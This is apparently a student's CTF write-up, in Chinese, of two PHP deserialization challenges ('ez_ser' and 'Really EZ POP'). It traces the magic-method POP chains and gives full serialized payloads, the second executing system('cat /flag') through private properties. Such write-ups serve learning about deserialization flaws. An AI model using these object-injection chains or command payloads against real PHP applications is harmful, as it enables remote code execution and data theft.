[Week2] ez_ser
说是简单反序列化,但是我个人学习到的还是太少了,这种题对我还是有一定的难度的。
根据官方给出的wp,寻找入口(我并不知道这道题能不能找出口去做,暂时还有点没有掌握怎么去找出口):web 类为⼊⼝,echo 触发 re 类的 __toString(),通过 $this->chu0->$nononono 触 发 pwn 类的 __get(),再通过 $this->over->getflag() 执⾏ Misc 类的 getflag() 函数,从⽽得到 flag。
这里的_toString()需要所在的对象看做字符串才可触发,_get()触发条件是 试图访问一个对象中不可访问或者不存在的属性
然后编写,输入,拿到flag
?ser=O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2: {s:4:"dusk";s:4:"gods";s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}
O:3:"web":2:
表示一个对象,对象的类名为 "web",对象包含 2 个属性。{s:2:"kw";
表示一个名为 "kw" 的属性,后面跟着的是该属性的值。O:2:"re":1:{
表示 "kw" 属性的值本身也是一个对象,类名为 "re",包含 1 个属性。s:4:"chu0";
表示 "re" 对象的属性名为 "chu0"。O:3:"pwn":2:
表示 "chu0" 属性的值也是一个对象,类名为 "pwn",包含 2 个属性。{s:4:"dusk";s:4:"gods";
表示 "pwn" 对象的第一个属性名为 "dusk",值为 "gods"。s:4:"over";O:4:"Misc":2:{
表示 "pwn" 对象的第二个属性名为 "over",值为另一个对象,类名为 "Misc",包含 2 个属性。s:7:"nothing";N;
表示 "Misc" 对象的第一个属性名为 "nothing",值为 null(N 表示 null)。s:4:"flag";N;}
表示 "Misc" 对象的第二个属性名为 "flag",值为 null。
[Week2] Really EZ POP
这道题确实是really EZ。上面的那道题你需要自己去思考怎么构建这个pop链,而这道题在类名上就已经有了非常明显的提示了:Nature->sea->shark->sink
然后我们根据代码理清思路是Nature: __destruct() ---> Sea: __get() ---> Shark: __invoke() ---> Sink: __toString() ---> RCE。但是这里要注意的一点就是,这道题中有private属性的成员,那么有些是不可在外部更改的,那么我们就需要在内部修改或者在内部写一个函数使我们能在外部修改。(例如这里的0Shark\0word代表shark里的私有属性word;0Sink\0cmd就代表sink里的私有属性cmd)
O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"\0Shark\0word";O:4:"Sink":1:{s:9:"\0Sink\0cmd";s:20:"system('cat /flag')";}}}}
然后因为有private属性在(protected一样),需要对序列化出的字符串进⾏ URL 编码,然后输入,就可拿到flag了